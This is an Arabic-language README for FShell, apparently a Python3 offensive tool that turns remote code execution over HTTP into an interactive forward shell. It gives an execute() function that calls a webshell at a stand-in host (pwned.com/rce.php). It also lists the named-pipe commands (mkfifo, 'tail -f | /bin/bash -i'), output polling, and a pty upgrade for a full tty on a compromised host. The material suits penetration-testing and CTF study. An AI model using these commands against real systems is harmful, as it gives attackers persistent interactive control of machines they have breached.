
تطبيقي بلغة Python3 لأداة Forward Shell
FShell هو تطبيقي لـ Forward Shell. صُمم للحصول على tty تفاعلي باستخدام تنفيذ التعليمات البرمجية عن بُعد عبر بروتوكول بدون حالة (مثل HTTP).
ومع ذلك، فإن لها أيضًا عيوبًا:
يمكن تغيير تكرار الطلبات بتعديل المتغير BEACONING_DELAY.
Python3 والمكتبات:
يُدعم نظام Linux فقط في الوقت الحالي ويتطلب أوامر/أدوات أساسية على النظام البعيد:
عدّل المتغير WRITABLE_FOLDER إذا لم يكن /tmp متاحًا للكتابة أو إذا كان لديك خيار أفضل (فضّل /dev/shm)
يجب عليك إعادة تعريف دالة execute لتنفيذ التعليمات البرمجية عن بُعد:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Raw shell command to execute on the remote system
:timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
If you cannot, put named pipe creation in separated thread
:verbose Print full cmd executed on the remote system (Debug mode)
"""
# Put your RCE code here
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # You can apply formating if the output is not only the output of command

المفاهيم بسيطة جدًا.
أولاً تحتاج إلى إنشاء named pipe على النظام البعيد. سيُستخدم لإرسال الأوامر إلى الـ shell
mkfifo /tmp/input.
ثم أنشئ حلقة bash تقرأ الـ named pipe باستمرار وترسل محتواه إلى عملية bash تفاعلية ترسل stdin وstderr إلى ملف إخراج.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[قراءة الـ named pipe] -> [تنفيذ محتوى الـ named pipe] -> [إرسال stdin/stderr إلى ملف الإخراج] -> [العودة لقراءة الـ named pipe بسبب خيار '-f' في tail]
الجزء التالي هو بدء مؤشر ترابط بايثون ينفذ cat /tmp/output بانتظام للحصول على مخرجات الـ shell.
إذا وجد المؤشر بيانات، فسيمسح محتوى ملف الإخراج باستخدام echo '' > /tmp/output
نصائح: لتجنب تسجيل أخطاء لملف غير موجود، ينفذ السكربت أمر 'id' قبل بدء مؤشر 'GetOutput' لإنشاء ملف الإخراج.
واحدة من الخطوات الأخيرة هي الحصول على مدخلات المستخدم من سكربت بايثون وإرسالها إلى الـ named pipeecho USERCMD > /tmp/input
والخدعة الأخيرة لاستعادة tty تفاعلي عن بُعد هي أمر 'upgrade_shell'. ينفذ هذا الأمر python -c 'import pty;pty.spawn("/bin/bash")' (وبعض أوامر export والاختصارات) لإنشاء tty حقيقي للعملية الحالية (المستخدمة في حلقة الـ named pipe)
شكرًا لـ @ippsec، لم أكن أعلم أن شيئًا كهذا ممكنًا قبل مشاهدة هذا الفيديو Stratosphere HTB Write Up!
أتمنى أن تستمتع به!